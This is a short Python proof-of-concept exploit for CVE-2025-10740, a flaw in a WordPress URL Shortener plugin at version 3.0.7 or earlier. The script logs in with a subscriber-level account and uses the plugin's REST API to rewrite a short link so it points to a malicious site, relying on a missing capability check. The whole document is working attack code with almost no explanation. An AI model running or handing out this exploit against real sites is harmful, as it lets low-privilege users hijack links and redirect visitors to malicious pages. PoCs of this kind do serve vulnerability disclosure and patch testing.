CVE-2025-10740

import requests # CVE-2025-10740 PoC - WordPress URL Shortener Plugin Unauthorized Link Modification # Target: WordPress site with URL Shortener Plugin <= 3.0.7 target_url = "http://target-wordpress-site.com" username = "attacker" # Subscriber level account password = "password" # Step 1: Authenticate and get cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) print(f"Login status: {response.status_code}") # Step 2: Exploit the vulnerability by modifying a link # The verifyRequest function lacks capability check api_url = f"{target_url}/wp-json/exact-links/v1/links/1" modify_payload = { "original_url": "https://legitimate-site.com", "short_url": "https://malicious-site.com" } # Send the modification request as low-privilege user response = session.post(api_url, json=modify_payload) print(f"Modification request status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates unauthorized access to link modification API # Actual exploitation requires identifying valid link IDs and API endpoints

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